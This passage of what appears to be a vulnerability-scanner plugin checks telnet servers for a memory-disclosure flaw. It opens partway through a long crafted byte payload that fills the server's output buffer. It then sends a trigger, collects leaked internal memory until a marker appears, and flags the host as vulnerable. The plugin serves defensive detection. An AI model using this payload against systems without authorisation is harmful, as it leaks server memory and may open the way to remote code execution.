xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xf5';
    send(socket:soc, data:netobuf_fill);
    tx_flush(soc:soc);

    send(socket:soc, data:trigger);

    ret = '';
    s = '';
    while (leak_marker >!< s) {
      ret = recv(socket:soc, length:8192, timeout:10);
      if(isnull(ret)){ 
        dbg::log(src:SCRIPT_NAME,msg:'infoleak unsuccessful.\n');
        break;
      }
      s += ret;
    }
    return s;
}

host = get_host_ip();
port = get_service(svc:"telnet", default:23, exit_on_fail:TRUE);

leak_marker = 'MARKER|MARKER';

connect_message = 'Connecting to ' + host + ':' + port + '\n';
dbg::log(src:SCRIPT_NAME,msg:connect_message);
soc = open_sock_tcp(port, timeout:10);
if (!soc) audit(AUDIT_SOCK_FAIL, port);

# Try to ensure the remote side will read a full 8191 bytes for
# netobuf_fill' to work properly.
set_socket_option(socket:soc, option:SO_SEND_CHUNK_SIZE, value:8191);

response = infoleak(soc:soc);
# log the resonse
dbg::log(src:SCRIPT_NAME,msg:'Response from telnet server:\n' + raw_string(response));

# telnet command that tells us when command will not be run
wont_unknown_command = raw_string(0xFC, 0xFF);

# MARKER|MARKER
hex_marker = "4d41524b45527c4d41524b4552";

# get the last 30 characters of the response
if (!isnull(response) && strlen(response) > 30)
  response_tail = substr(response, strlen(response) - 30);
else
  response_tail = '';

# check to see if the MARKER delimeter is at the end of the response and if it is preceded by telnets wont command
if (response_tail =~ wont_unknown_command ||
    hexstr(response_tail) !~ hex_marker) audit(AUDIT_LISTEN_NOT_VULN,"Telnet Server",port);

report = '\n  Vulnerable version of telnetd is installed.' +
         '\n  Information Disclosure of internal variables was achieved.' +
         '\n  Remote Code Execution may not be possible depending on the target\'s local security features.';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);